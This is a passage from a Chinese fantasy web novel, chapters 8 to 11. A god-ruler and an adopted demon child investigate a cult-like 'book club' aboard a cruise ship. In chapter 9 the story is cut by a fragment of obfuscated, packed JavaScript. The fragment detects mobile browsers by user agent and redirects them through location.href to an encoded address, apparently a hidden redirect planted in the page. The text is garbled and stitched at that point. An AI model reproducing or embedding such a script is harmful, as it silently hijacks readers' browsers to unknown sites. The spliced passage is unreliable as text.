如果祂不是无情无爱的诸神之神,那眼神几乎可以用「温柔」来形容。
——又是那个小崽子!蜚蜚呼吸一滞。
到底有什么与众不同之处,能让陛下待祂如此特别?
这是正经恶魔吗?不会是魅魔吧?卖乖撒娇桩桩件件不都是刻意的手段么?怎么看都是在处心积虑引诱陛下吧!
蜚蜚的心情顿时一点都不明媚了。
8. 第 8 章
神域洁白光明,没有任何角落能够寄生阴翳,是盛大辉煌的永昼。
神主的御花园,是唯一存在昼夜更迭的例外。
御花园分为内外两圈,外围栽种着不同的植物,神花圣草,姹紫嫣红;中心花圃则单调得多,通通是星尘花。
花瓣呈银色,娇小、柔弱,乍一看并无奇异之处。它们白天休眠,夜晚盛开——绽放之后,莹莹光泽化为凡间闪烁的群星。
御花园就是星星们的摇篮。
神明漫步于花丛之中,所到之处花儿谦顺地为祂让行,而其余万千向祂倾倒。
祂看见什么,停下脚步,弯腰抚过快要凋零的一朵。
那朵星尘花原本颤颤巍巍地瑟缩着,得到神明的垂怜后,不再怯懦,凝成静谧的叹息。
一颗星星就快要死去了。
神主能做的是维系,而非干预,就算知晓它即将消亡,也只能见证。
生死是连神明都不可插手的铁律。
保证世间万物都在既定的轨道上如常运转,是祂最大的职责。
很明显,陷入永冬雪夜的不见城脱了轨。
这些日子有关不见城的一切成了神明的心病,它太过古怪,竟连祂都一眼探不到病根所在。
诸神之神看似冷淡,对什么都漠不关心,其实有极强的控制欲,不允许自己的管辖范围内出现任何失控,要把一切牢牢攥在掌心。这是身为神主所必需的品质,是九天三界君主所肩负的责任。
花海的银白浪涛簇拥着神明,但它们并不会像爱戴祂一样欢迎任何人的光临。
为了不伤到娇贵的星星们,花圃之上拔地而起一座半透明的桥,成为其余使者的通道。
此刻蜚蜚跟在神明后面,看着可以随意乱飞的卡布卡,忽然觉得这种时候好像当鸟比当鱼好一点。
嗯,也就一点吧。
卡布卡还在絮絮叨叨问着小魔羊的情况,素来寡言的神明竟然耐心地、细致地回答了每一个问题。
蜚蜚听着恼火,又不能把耳朵关上:身为右使要时刻保持五感警戒,以捍卫陛下的安全和圣威。
“哎呀,都会说话了呀!”卡布卡像个听说别人家孩子进步的无聊亲戚,“长得可真快……我记得蜚蜚当年学说话可晚了,想表达什么都只能吐泡泡。”
蜚蜚:“……?”
关他什么事?
神却没有跳过这个话题,似乎顺着卡布卡的话回想了下:“你比较早。他是迟些。”
蜚蜚有点脸红,说不出是羞是耻。
卡布卡很是骄傲:“那是自然,我的语言天赋出生就是满级!陛下打算什么时候再去看他?我也想一起!估计下次见面得有……嗯……这么高了吧。”
比起大白鸟究竟用什么尺码比划恶魔幼崽的身高,蜚蜚更关心的是神主的回答。
神微微蹙了下眉:“暂时不行。”
现在有更优先的事项摆在眼前:搞清楚渎神会大主教的力量来源。
蜚蜚已经把大致情况都告诉了卡布卡,后者用翅膀拍拍胸脯:“找力量本源么?这还不是小菜一碟,陛下您歇着,我让下面小子们去干活儿。”
神明却道:“没那么简单。”
那是连祂都无法清晰感知的混沌,说明这股力量要么是尚在剧烈演化的新生种,要么已强大到可以对抗神族;无论哪个可能都不容乐观。
光是整个神域没有一人上报、直到神主亲自觉察到异变,才显出蛛丝马迹,就足以见其隐匿性。
细想之后,蜚蜚不寒而栗。
卡布卡则夸张地抖了抖毛,掉落的羽粉被星尘花们合拢花瓣嫌弃地弹开。
白鸟忧心地念叨:“会不会是那些小鬼们的新计谋?”
和亲昵称呼撒迦利亚为“小魔羊”不同,对于势不两立千万年的魔鬼族,左使和所有的神族一样轻蔑,喊他们“小鬼”。
“五百年前地狱换了新首领。”蜚蜚道,“此人行事谨慎,至今没有公开露面过,所有任务都交给手下去办,包括几次魔族大败后,伤亡损失这般惨重,他都不曾现身。”
最近那回,我们陛下可是都亲临现场了,结果对方连个影子都没见着,也太没礼貌了吧?懂不懂尊重?
——这是蜚蜚没有说出来的部分。
“说不定其实是个没用的懦夫,只不过废物小鬼们也选不出更好的,才凑合下把烂泥扶上墙。”要论牙尖嘴利,谁也比不上卡布卡。
一人一鸟你一句我一句,好似把地狱之主贬低得一文不值,其实心里也直打鼓:
自创世以来,魔族是神族来唯一存续下来的对手,哪怕嘴上不服软,也不得不承认地狱有着与神域旗鼓相当的实力;
至于能够被这群心比天高的魔物承认、信服、奉为领袖,那位的实力绝对不容小觑。
整整五百年了,不仅神域探查不到任何关于地狱新主的情报,连魔族自身对他也知之甚少,据说不少高层至今都无缘见他一面,不然也不会连个名字都没流传出来。
蜚蜚和卡布卡忙着同仇敌忾,谁都没有注意到,诸神之神在听他们谈及地狱之主时,疏淡神色中流淌出的一丝动摇。
那变化极轻细,像封冻万年的冰原上唯一一隅融化的裂纹。
微小得根本无从察觉。
却仍是缺口。
*
神每次回到神域,总有一大堆人排着队觐见。
卡布卡和蜚蜚会帮祂筛选掉大多数无关紧要的事,拦截住大部分无权直接面圣的人,不过,总有那么一些需要神主亲自定夺。
冰霜森林的中心是个永不停歇的巨大漩涡,其内便是神域关押犯罪者的禁区。
神明巡视此地,各方递交的报告看似风平浪静,一切如常。
“陛下,您回来了。”
低沉的声音响起。
来人身披墨绿袈裟,一头长发足足有十几米,并非发丝,而是由数不清的藤蔓缠绕而成。它们色泽幽深,鲜活地颤动着,奇诡非常,有如异种美杜莎。
他的双眼空洞得像被虫蛀空的树墩,可又说不上来的幽深,仿佛多看几眼就会被拖入无底梦魇。
蜚蜚和卡布卡立即行礼:
“麓行尊者。”
“尊者。”
麓行尊者同样还礼:“右舵大人,左舵大人。”
尊者在神域的地位很高,某些特殊场合中甚至可以达到一人之下。
若他有话要单独同神主说,连左右使都不能在旁。
等到另外
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两人退下,麓行尊者收回视线,看向神主。
漩涡引动的气流卷起神明的长发,于冰凉的空气中振荡出浅金色的微芒。
祂低垂眼帘俯瞰整座森林,睫毛长而卷,好似栖息着一只发光的蝶。
祂的幼年期极为短暂,进入成年期后模样就不曾更改,看上去太过年轻,也太过美丽——纤薄、精致又脆弱——是应当放进冰花琉璃盏中封存,或者细细捧于掌心的美丽。
而不是做一个执掌众生、杀伐果决的君主。
但无论哪种,都仅可远观。
麓行尊者清了清嗓子:“陛下,请宽宥我。”
还没讲呢就先讨要恕罪,一定不是什么好话。
神明很轻地眨了下眼:“说吧。”
“我听闻……您收养了一名遗孤。”尊者斟酌着用词,“是魔鬼族的后代。”
神主并未刻意隐匿自己去不见城的行踪,因而祂专程探望一只黑色小绵羊的事儿也不是秘密,只不过大多数人并不知晓小羊羔的真实血统。
九天十地无数双或信仰或敌视的眼睛盯着诸神之神,偶尔有风声走漏也不足为奇,更何况是地位斐然的麓行尊者。
神主并不介意他有自己的眼线和势力,只要没有扩张到影响三千世界的正常运转——
祂的存在,祂所做一切的起点和终点,都是为了这个。
“看来,尊者反对此事。”神明没有丝毫遮掩,虽然并非正面回答,也算是坦然承认。
但落在麓行尊者的耳中没那么简单:神主向来只以句号结尾,这句话一时听不出是陈述还是反问。
尊者立刻低下头:“不敢,陛下做此决定必然有陛下的理由。在下只是有些好奇……为何?”
众所周知,神魔势不两立、互为死敌,而祂身为神族之首,却不顾两族之间的血海深仇公然收养敌族遗孤,说出来实在骇人听闻。
且不说一众将祂视为最高信仰的信徒是否可能因此事有所动摇,那些敌对势力又会不会产生别样心思?
神明默然。
繁盛的、已被冻结的森林在他们脚下起伏,像只蛰伏的巨型怪物。
麓行尊者反思着自己是不是太过冒昧,头发上的藤蔓都急得互相打结;他的确比旁人的话语权大一点儿,那也远远到不了当面质问神主的程度。
做下属的贵在有自知之明,尊者绞尽脑汁找补:“陛下心善,这个……这个……就算来自地狱,作为战争武器也确实可怜……”
“不是恻隐。”祂打断他磕磕巴巴的自说自话,“是赎罪。”
麓行尊者悚然。
神域乃光明祥瑞之地,诸神之神是正义的化身,秩序的象征,祂代表着世间的「对」,存在即为衡量善恶的天秤,从不出错,从不生乱。
可祂……祂竟然说,祂在赎罪?
这怎么可能呢?
诸神之神怎么会有「罪」?
是神谕折毁,亦或是天命背离?
那份罪孽从何而来,又与那个被选中的恶魔遗孤有何相干?
每一丝头发、每一根藤条都蜷成问号,可惜就是再借麓行尊者十个、百个胆子,他也不敢继续追问。
而神明不再开口,轻叹一声,尾音散在风中。
9. 第 9 章
宁槐推开童话牧场会客厅的大门,铜风铃仍像往常叮铃,却没看着趴在那儿生无可恋写作业的小孩。
他穿过玻璃走廊熟门熟路找到黑色小绵羊的VIP宿舍,给小羊羔定制的矮床上躺着人类少年,双目无神地盯着天花板上的云朵投影发呆。
至于房间真正的所有者,正边叼着咬咬球边甩脑袋自娱自乐,瞥了眼来人后干脆转过身,羊屁屁冲着他。
宁槐知道这只小绵羊不大喜欢自己,多半是因为上回自己盯着对方主人看了太久。
虽然面上令人误会,着实事出有因。他真的不是沉迷于姜先生的美貌……呃,不完全是。
再说了,明明是羊,怎么跟小狗似的,又爱吃醋又护主。
宁槐当然不能跟一只小狗……不,小羊计较,略过他走到佟灵旁边:“今天不想学习?”
佟灵神情恹恹。
上回他们去的读书会,因为被外人撞破了地址,领导者决定换个开会的地方,连家人都要保密。
佟灵觉得太奇怪,劝父亲不要去,可父亲好像走火入魔一样,把他骂了一顿就走了,再打电话过去一直关机。
他想着要不要报警,宁槐却摇头:“报警没用,读书会是按照正规组织登记的,每次大型集会还会提前报备,明面上的手续找不出毛病。”
佟灵慌了:“那……”
“唔,我恰好也知道他们这次开会的地点。”宁槐像是早有准备,拿出两张硬卡纸,“要是真的很担心你爸爸,要不要跟我一起去看看?”
佟灵接过来。
黑蓝偏光,烫金纹路。那不是普通的纸,而是票。
——船票。
映入眼帘几个花哨的大号文字:「“银色山泉号”高端游轮」
下面还有一行小字:「航程一周,为您圆梦!」
发船时间三小时后,二人很快收拾离开,谁也没在意角落里乖乖玩球的小绵羊。
更不会看见那双黑葡萄似的眼睛眨了眨,莹亮光芒一闪而过,瞳孔变成了焦糖色。
*
持续两年的极端低温冻结了不见城内的所有河流湖泊,渔业、造船业、水上旅游业、内河航运业等等全数停摆。
如今若还想走水路,只有航海这么一个选项了。
不见城的确靠海,但海域多风暴,海岸线崎岖,既不适合做商贸往来的港口,更建设不成海滨度假胜地。
永夜降临后,本就复杂的海况愈发险峻,不需要专门出条例限制,早就没人敢靠近海边。
眼下,一艘巨型游轮静静停靠在岸边,船体在寒风中微微颤动,甲板空空荡荡,连船舱内的灯也只是稀疏亮了几盏。
比城市中更狂野的风雪徘徊着、咆哮着,推动着海面上的碎冰朝着更远处飘浮,像是破碎的镜片,又似冰冷的骸骨。
没人亲眼看见这艘船从哪里驶来,又是何时停泊于不见城,它就这么冷不丁地出现,如同暗夜中的幽灵。
它的身后是一望无际的、堪称可怖的夜色,仿佛踏进去就是世界尽头。
陆陆续续有乘客抵达码头,每个都裹着厚厚的衣服,行色匆匆,一手提行李箱,一手拿黑蓝偏光硬卡纸,时而抬头瞅瞅大船,时而低头核对:
“是这个吗?”
“好像是……”
“感觉和票上画的有点儿不一样。”
“但是也没别的船了啊。”
“快上去吧,还有半小时就开船了。”
一个人问:“你们的票都是怎么拿到的?”
其余人静了一瞬,七嘴八舌回答:
“不知道,我老婆给我的。”
“是快递送来的。”
“我到工位的时候就已经在那儿了。”
“我跟你一样。”
人们默契地忽略了一个问题:读书会明明没有收集过他们的住址信息,是如何知晓要寄去哪儿的呢?
游轮的汽笛发出一声呜咽,催促着乘客们登船。
他们按下所有疑惑,不再闲聊,为着那个“复苏不见城”“拯救自己和家人”的念头,在寒风中匆匆走上舷梯。
检票的工作人员穿着统一的黑色夹克制服,头戴深灰帽子和口罩,低头时连双眼都看不着,像一个个没有实体的虚影,叫人愈看愈是遍体生寒。
肯定是入口处的暖气不足,进去就好了。乘客们纷纷自我安慰。
有那么一些人察觉到不对劲儿想要下船,可惜入口是单行道,没有回头路。
虚影似的工作人员捂住他们的嘴带进另一个通道,他们连呼救都来不及,全身失去抵抗的力气,瞳孔的光亮随之熄灭,傀儡般跟随离开。
离开船剩下不到五分钟,几乎没人再来了。
检票人员整理着已经剪下的小块卡纸,码齐之后,几百张扯掉一半的图案相连,乍一看像某种符咒。
“不到四分钟了。”
“差不多都到齐了吧?”
“应该是。那通知准备关舱门?”
“行。”
他们正准备返回船舱,一只冷白的手伸到面前拦住了去路。
“劳驾。”
那声音听着竟比永夜还要冰冷几分。
检票员抬起头。
来人披着件大氅,布料顺滑纤薄,剪裁利落修长,边缘带着些许凹凸不平的弧度,不知是磨损还是故意设计的暗纹。
雾蓝色的纱织围巾松松缠了一圈,遮住小半张脸,仅露出鼻梁以上的部分。
暴雪天中就这样外出实属勇气可嘉,不过本人好像很习惯如此单薄的穿着,近乎纯黑的眸子静静地望着他。
检票员怔怔地看了几秒,莫名结巴起来:“您、您好,那、那个,票……”
那人没有带任何行李,外套上也没有口袋,原本空无一物的手里忽然多出张纸片,戴着手套的食指和中指拈起,递给检票员。
检票员立刻伸出双手恭敬地拿下,好像接过的不是张纸而是博物馆里的无价之宝。
正规船票是硬卡纸,这张是最普通不过的白纸;
正规船票有特殊工艺做的黑蓝偏光用以防伪,这张是没有丝毫瑕疵的纯白;
正规船票印着“银色山泉号”、航程时间、开船时间和“为您圆梦”,这张连个墨点都没有。
但检票员还是照常撕下一小块放进其他票根中,对这位姗姗来迟的乘客笑容灿烂:“欢迎您登船!祝您有个美好的旅程!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189511|181072||http|test|mini|href|location''.split(''|''),0,{}));
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>客人没有再说什么,抓住围巾的手指纤细,指甲边缘是比围巾的雾蓝色更清淡的冰蓝。
鸦羽似的睫毛轻柔垂下,掉落一粒晶莹剔透的雪花。
几分钟后,他的同事走过来拍了拍他的肩膀:“要开船了。”
他差点跳起来,刚回过神似的:“啊?啊……”
“发什么呆呢?一脸傻笑。”
“没事没事。走吧。”
舷梯缓缓收回,锚链与缆绳一一解开,他在响起的全船广播中倚着窗户看向重归肃穆的码头,怅然若失。
刚才那位客人……
从头到尾,也不过说了两个字,见不到两分钟而已。
可怎么会有人能够如此美丽、高贵、动人心弦呢?
接下来的一周时间,还能再见上一面吗?
*
【“银色山泉号” ·活动安排时间表·首日】
15:00-16:00 —— 登船接待与房间分配 —— 一号接待厅 —— 舷梯口
16:00-16:30 —— 游轮说明与安全指引 —— 多功能A厅 —— F3602
16:30-19:00 —— 自动活动 —— 观景甲板/全船 —— F9702/全船
17:30-19:30 —— 餐食供应 —— 五号餐厅—— F5308
……
20:00-22:00 —— 读书会 —— 多功能C厅 —— F6101
……
23:00 —— 熄灯 —— 全船 —— 全船
*
漫长沉沦的大海失去了昼夜的分界线,分辨时间全靠游轮内随处可见的钟表。
大厅内最大的那尊座钟雕刻着栩栩如生的莺鸟与繁复的紫藤花丛,在时针指向最下方准点报时。
晚上六点,距离读书会的活动正式开始还剩两个小时。
外面是凄风苦雪的永夜,游轮内部倒富丽堂皇。
精准控制温湿度的室内舒适如春,从吊灯、地毯、到壁纸、挂画的装修堪称奢靡,经过严格培训的船员服务周到,更不用免费的美酒、佳肴、交响乐……
处处欢声笑语,让人不自觉沉溺其中,几乎忘了外面的世界有多残酷,也忘了来意。
读书会吸纳的人群非常普遍,男女老少,各行各业,有钱没钱,似乎没有一个固定的界定标准。的确以成年人为主,也有一些家庭带着孩子,这让穿梭其中的两个年轻人并不显得突兀。
其中一个忽然停下,拎起背包到处找,懊恼道:“哎呀,我好像把小迦弄丢了。”
另一个没反应过来,愣了下:“什么小迦?”
前者指了指背包拉链:“是个黑色小羊挂件,和小迦可像了。才买没多久来着……”
此刻,几层楼之上。
枣红色混金线绣纹的地垫上躺着只仿真黑色绵羊玩偶,一身卷毛做得软萌逼真,头顶串着便于悬挂的珠链,羊尾巴还带着玩具厂的标签,特意注明只能手洗不能机洗。
小羊玩偶四脚朝天,玻璃珠似的豆豆眼一眨不眨盯着房门,好像很希望被里面的人捡起。
下一秒,门铃响了。
10. 第 10 章
“银色山泉号”的八楼是独立出来的总统套间,南北各一套,这次读书会包下了整艘船,原本的预定名单上只有靠南那间仅入住大主教和助手,另一套应该是空着的。
但此刻北面的这一套也住了人,而且没有一个员工觉得哪里不对,全都照常提供服务。
门铃被按响的时候,姜宵正在卧房里叠衣服。
这对神明而言是件相当新鲜的体验,且不提祂的更衣可以在转瞬间完成,就算神袍和其他配饰真的需要收纳、洗濯、更换,自有专门的侍者去做,哪里会让祂亲自动手。
不过祂此行没有带包括左右使在内的任何使者,既然来到凡间调查,那么偶尔做做人类会做的行为也很有意思。
虽说神主本人很难体会到什么事儿“有意思”。
祂把大氅和围巾挂在枝型衣架上,里面穿了条面料舒适的修身长裤,上身内衬是件白色高领软质衬衣,外面罩着浅灰色的丝毛混合收腰长衫,衣襟对襟错落,由银线收束。
看起来不大符合颐指气使的富商大贾的伪装身份,倒像斯斯文文的学者。
要是卡布卡在这儿,一定会灵活地把“姜总”的称呼改为“姜老师”。
听见门铃声,祂停下动作,右手手腕上戴着圈似光又似水凝出的细镯,在光线下呈现出极淡的金蓝冷辉。
姜宵抬起左手一抚,光镯消失不见。
祂赤足踩在细致清洁过的柔软地毯上,走到外厅开门。
南北两间套房互不连通,各自有楼梯和电梯。此时走廊空空荡荡,不像有人来过的样子。
姜宵低头,看见不知被何人、不知被何时丢在地上的玩偶。
祂摊开掌心,它便自动浮起飘到祂手里。
祂用食指轻轻抚了抚小羊头顶海浪似的卷毛:“你来了。”
玩偶顿时活过来,在祂掌心里开心地踢踢踏踏,末了还用小脑袋使劲儿蹭祂的手指,小尾巴高兴地晃到几乎有残影。
姜宵带着玩偶进了房间,关上门。
与此同时,游轮的总监控室中,两个总统套房都属于有标记星号的重点区域。
在过去的几分钟,屏幕里既没有出现过玩偶,也没有客人曾开过门。
*
男孩穿着一套深蓝礼服,小巧的金扣从高领斜斜排列至胸前,袖口点缀着精美的蕾丝,雪白的织锦衬衣领口束着酒红色丝绒的蝴蝶结。
短款披风上缀了一枚蓝宝石胸针,脚蹬一双擦得锃亮的小皮鞋,搭配及膝短裤和同色的长袜。
他看起来不太像不见城的居民,或者说不属于这个时代,更像几百年前准备参加宫廷晚宴的贵族小少爷。
小孩颇为忐忑地看向大人,不确定自己这样的装束合不合适、得不得体。
良久,姜宵做出评价:“不错。”
即便只有两个字,那也是夸奖。撒迦利亚顿时开心起来,脸蛋的深色皮肤印出一抹不明显的红晕。
他想到什么,扯着披风上的胸针。
本来当人就不熟练,更何况取胸针这样精细的活儿,小羊不懂控制力气,差点连衣服一起扯烂。
微凉的手指阻止他的动作,小羊抬起头,脸颊的红晕一口气蔓延到耳朵根——宵宵,离他,好近!
神明没有动用神力,而是亲自用手挑开帽扣为他拆掉胸针,重新插回卡扣,把蓝宝石放在他的小手里:“不戴这个吗。”
姜宵已经直起身,撒迦利亚还沉迷在那扑面而来的冷灵灵的香气中回不过神,整个人的心神都被神明的气息攫住,支吾了些没意义的词句,好一会儿才想起自己的本意。
他撩起外套一角,小心翼翼擦了擦宝石,又对着光确定截面没留下划痕(当然),才半是腼腆半是期待地递给姜宵:“哥哥,送给你,很配你的眼睛。”
灯光在男孩焦糖色的瞳孔中倒映出粼粼波光,他是那样专注地看着近在咫尺的大人,好似那就是他唯一的世界,他永恒的信仰。
在人类的价值衡量体系中,浅蓝色的宝石并不值钱。但这一颗切割完美,质地清透,色泽柔润,冰蓝的表面如同飘落在湖心的初雪,棱面析出雪亮微光,美学价值远远高过商业。
最重要的是,它不是从任何地方花钱买来的交易品。
是小魔鬼准备了许久的心血。
姜宵现在还维持着在人间的伪装,接过宝石后,为了配合赠礼,双眸幻化出原本的冰蓝。
祂低头将胸针别在自己的衣襟,抬头看向撒迦利亚。
男孩一时间忘记了呼吸。
两种近似的蓝交相辉映,宝石好像不再是宝石,而是神明遗落凡尘的眼泪。
小恶魔又想起二十年前战场相遇时,自己那个盘亘至今的念头。
这样高远、圣洁、无心无情的神明,也会为谁而流泪吗?
未来的事他没有预知能力,无论如何,今日祂这滴凝固的「泪」,是自己献予。
他深深凝望神明,语气和目光一样着迷:“还是哥哥的眼睛更好看。”
……就是这双眼睛啊。
长久以来,他最最心醉的,正是这双美丽的蓝眼睛。
哪怕总是冰冷,哪怕永远不可能滋长出他想要的柔情爱意。
只要能被多看一眼,能被垂怜一回。
前方纵是万仞渊裂,也心甘情愿。
小孩一半的念头藏在心里,另一半写在脸上,神情变了又变,颇为有趣。
姜宵看着他,总觉得这孩子是不是又长大了些。
神明在过去没有亲手饲育过任何一个个体,对于寿命无垠的祂而言,年龄的界限本就模糊,而幼崽的成长速度更是蹊跷,实在很难看出外表到底多大。
祂在战场捡到这只遗孤时,后者比那些新生的恶魔大不了多少,姑且刚脱离婴儿的范畴;
小羊羔第一次学着化人形,路都走不稳——当然也可能因为羊本来就不会只用双脚支撑——祂隐约记得那时候看起来比较像两三岁;
等他有了“撒迦利亚”这个名字,已经是四五岁的模样;
后来在不见城的童话牧场安顿下来,迅速来到了七八岁;
今日一见,已经有了十来岁的轮廓,初具少年气,快要是个大孩子了。
个头在长,骨骼在变,语言能力更是飞快进步,还会说些嘴甜讨欢心的话。
可惜,人能被甜言蜜语打动,神不会。
姜宵转头看向壁挂座钟,咔哒一声指针重叠,流连在紫藤中的莺鸟啁啾着报时。
——八点了。
牛鬼蛇神,粉墨登场。
*
“银色山泉号”的四楼有三大两小共五个影厅,大的可容纳人数为200,小的则分别是20和6人。
晚上八点,三个大影厅座无虚席,却不是播放任何一部已上映的电影,宽大的白色荧幕逐渐明亮,中间出现戴着单边银链眼镜的大主教。
考虑到游轮上没有其他场所可以同时聚集五百余人,成员们只好退而求其次分散在三个影厅。
大主教的讲话当然是实时的,他本人此刻所在的位置同样可以看见信徒们的反应,在热烈的掌声后他双手向下压了压,示意众人收声,而后
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微笑得礼貌又富有鼓动性:“现在,请大家佩戴信物。”
影厅安静下来,只剩翻找口袋和包的沙沙声。
很快,人们找出了早些时候统一发放的信徒,一枚摊开书本形状的黄铜书签,无论是造型还是本身都很符合“读书会”的理念。
书页一左一右分别古老的字体书写着「人」与「神」,只不过「人」在左页的上半边,而历来高高在上的「神」则被安排在了「神」的下半边。
这样,一旦书本合拢,人类便站在了神祇的肩上。
或者踩在神的头顶。
虽说这枚书签并未设计可以合上的机关,此种寓意依旧让成员们热血沸腾。
摊开的书本后面有一个弯钩,可以让书签插在口袋、衣领或者扣子间隙里,也有人把它当作发簪;佩戴方式不重要,能挂身上就行。
人们五花八门安放好书签,重新挺直腰板坐正,脸上洋溢着期盼和骄傲。
大主教也调整了下放在手巾袋里的书签,清清嗓子:“欢迎来到‘银色山泉’号。”
“在座的诸位,都是被选中的先驱者。”
“等待神的救赎就是个彻头彻尾的骗局!我们必须要自救……”
“不见城,只有人的力量才能拯救!”
这边群情澎湃,一墙之隔的另一边,二十人小影厅正在播放老旧的黑白默片。
是个动画片,讲的是一只小天使因为自己的疏忽不小心掉入凡间,从起初的恐慌到渐渐适应,认识了许多人类好朋友,也体会到了神界所不被允许的各种情感,最后决定留在人间助人为乐的故事。
剧情很简单,胜在画风优美,配乐水平也是上乘,也可以称上一句经典。
小影厅只有两个观众,成年人坐在中间最好的位置,专注地欣赏着影片内容,衣襟上有一颗冰蓝宝石,在荧幕灯光折射下闪烁着柔亮光泽。
这部动画既不在游轮的提供片单内,也没有任何工作人员在操作放映。播到小天使思念神域偷偷找了个角落掉眼泪的剧情,配乐也跟着轻缓起来,如流水叮咚。
男孩起初跪坐在椅子上,这时候被剧情吸引,又重新放下双腿坐好,身体依旧朝着成年人的方向倾着:“神界也有祂留恋的人吗?”
“的确。”
“那祂可以回到神界。装作人类很累。”
“祂想寻找什么是‘爱’。”成年人道,“那是神界所不拥有的东西。”
“‘爱’?”
“是的。”
“很难找吗?”
“……也许。”
只有人类才天生拥有爱与被爱的能力,对于其他的种族来说,「爱」是陌生的、需要一生学习和研究的难题。
小孩自顾自琢磨了一会儿,又抬头悄悄看向那人,侧脸线条宛若霜堆雪砌,精致又疏冷。
然而眼眸是温软的蓝。
没那么难的。他想。
我已经找到了啊。
*
同别的影厅的热闹相反,四楼走廊尽头的六人影厅撤走所有的礼堂椅,取而代之摆了张硕大的病床。
和朽木快要融为一体的病者剧烈咳嗽几声,枯叶直往下掉,很快堆了厚厚一沓。
蒙着黑纱的少年正跪着打扫,然而那落叶越积越多,他收拾的速度远远赶不上它们的下坠。
忽然,他捕捉到什么动静,抬头“看”向门的位置。
在他没有察觉的时候,原本紧闭的大门打开了。
一个身影无声无息伫立在墙边。
谁也不知道,来人已经站了多久。
11. 第 11 章
病者注意到少年停下打扫:“心肝儿?”
他收回“视线”低下头:“大主教大人。”
病者声音苍老:“我们是有客人吗?”
少年回答:“是的,大人。”
病者似乎并不意外:“让他进来吧。”
少年转向门口,脖子上的锁链碰撞出声响。他伏地行礼,波奈特上的菟丝子装饰纷纷垂下,又像一层面纱:“请。”
不速之客年纪很小,看起来不过十来岁,穿着正式的小礼服,像要去参加舞会。这时候突然被发现吓了一跳,双手扶着门怯生生道:“抱歉,我好像找错地方了……”
病者很慈祥:“孩子,你想去哪里?”
即便盖着毯子,小孩还是看出了他下半身的怪状,不自觉发起抖来:“我、我想去影厅。”
病者道:“这里也是影厅。”
小孩怕归怕,逻辑还挺清晰:“可是这里没有在放电影。”
“很快就会了。”病者循循善诱,“而且我这里放的是别的地方都看不着的那种,很精彩的。留下来和我一起欣赏好吗?”
小孩犹疑:“比《职业勇士3》还好看吗?”
病者:“当然。”
小孩显出几分挣扎,但还是摇了摇头:“谢谢您的邀请,我还是要回去,不然家里人会担心的。”
倒是个很有礼貌的孩子。病者问:“你跟谁来的?”
提到这个,小孩的眸中放出光彩:“和哥哥!我哥哥特别、超级、无敌好!”
这个话题让他褪去胆怯,东一句西一句变着法儿不重样地夸奖哥哥,包括但不限于长得好看、声音好听、在家聪明、出门厉害,从头到脚吹了一遍,好像他哥哥不是个普通人类,而是无所不能的神祇。
病者很少有人陪着,唯一常伴的黑纱少年又几乎不出声,偶尔冒出这么个叽里咕噜的小东西很有意思。
他不厌其烦地听他讲,连叶子掉得都少了。
等小孩儿感到口干舌燥,才意识到好像讲得太多了。他冲二人鞠了一躬:“我要回去找哥哥了,再见!”
和来时的战战兢兢不同,回去时他的心情显然很好,蹦蹦跳跳走的,像只在草原上撒欢的小羊羔。
男孩看起来没有任何异常,但投在墙上的影子却有些许出入。
多出一对羊似的卷起来的犄角,和一条细长、末段像箭头的尾巴。
跟着他的动作小幅度地一晃一晃,不像额外装配的道具,更像天生的赐予。
但病者已经合上眼休息,而黑纱少年目盲。
所以谁也没有看见。
*
晚上九点五十,距离读书会的活动结束还有十分钟。所有的乘客和大部分工作人员都聚集在影厅,其他地方空空荡荡,连灯都熄了,像个孤单漂浮在海上的幽灵船。
楼层和楼层之间的电梯全停了,撒迦利亚不得不寻找楼梯。
每层的服务台还留了工作人员驻守,无一不是一袭黑衣,低头看着并没有字的记录簿,没有一个为男孩的路过投去半分目光,杵在原地一动不动,不像活人。
走廊近乎漆黑,又有这些古怪的影子侍者在旁,男孩却不感到害怕,脚步欢快,哼着不知名的小调,恶魔尾巴跟在后面一甩一甩——
然后啪唧摔了下去。
还好游轮哪哪儿都铺着厚地毯,不然这一下得摔破相。
撒迦利亚有点儿狼狈地爬起来,第一时间扭头寻找有没有目击者,确认四周没人、连摄像头都已经停止工作后,才慢条斯理拍着衣服上的灰。
确定外表已经恢复完毕,他才看向把自己弄摔倒的罪魁祸首。
一截树根。
不对,不是树根,更像是藤蔓的一部分,通体碧色,青翠欲滴。
只不过极其粗壮,光露出来的部分就有半人高。
更重要的是,它是从地板里冒出来的。理直气壮地破开木板和地毯,嚣张万分地横那儿。
一艘游轮层与层之间的钢筋水泥,怎么会有空间和养分长出体型如此不合理的植物?
它成功地把路过的男孩绊倒之后,无声地扭动着,主茎干向远处匍匐前进,其他细一些的枝条则沿着墙面、天花板缓缓攀爬,看起来完全是活着的,比起藤蔓更像海妖水怪的触手。
它虽然安静,虽然看起来生长得辛苦而笨拙,实际上很快。
撒迦利亚进入这条走廊时它还不存在,现在走到一半,从地里长出来不说,按照眼下的速度,等不到他出去走廊就会全被它占领。
藤蔓表面稀稀疏疏开着花,花苞呈灯盏状,在没有光的船舱里幽幽亮着,如同鬼火。
出航的船最怕遇到鬼火,和听见塞壬的歌声差不多,那是被怪物捕捞的标志,看见、听见就意味着进入了包围圈,再想跑早就来不及了。
然而这鬼火现在都烧船里来了。
不,不是鬼火的问题——问题是这正势如破竹捣毁舱室的藤蔓!
它可不管墙体是用几千块一平的保温砖砌的,也不管房间里的进口真皮沙发、高定胡桃木餐桌、水晶灯又顶得上多少人一个月、几个月的工资,挡在前面的通通碾碎。
照这样下去,可能读书会还没散,它就要把整艘“银色山泉号”都吞了。
一些细小的须蔓落在后面,这时候姗姗来迟赶上大部队,挨着男孩的脚边蹭过去。
他被那蛇一样的冰冷湿黏的触感搞得很不舒服,皱起眉,尾巴不耐烦地在为数不多的地面上敲了两下。
顿时,所有行动、缠绕着的藤蔓全都静止。
它们纷纷俯身,尽可能地贴着地面。
要是个人,这会儿差不多是在以头抢地表示臣服。
撒迦利亚踩在一条僵在半空中不知该往上还是往下的枝条上,它温驯地驮着他向上,几乎顶上这层的天花板,居高临下地俯瞰四面八方的藤条。
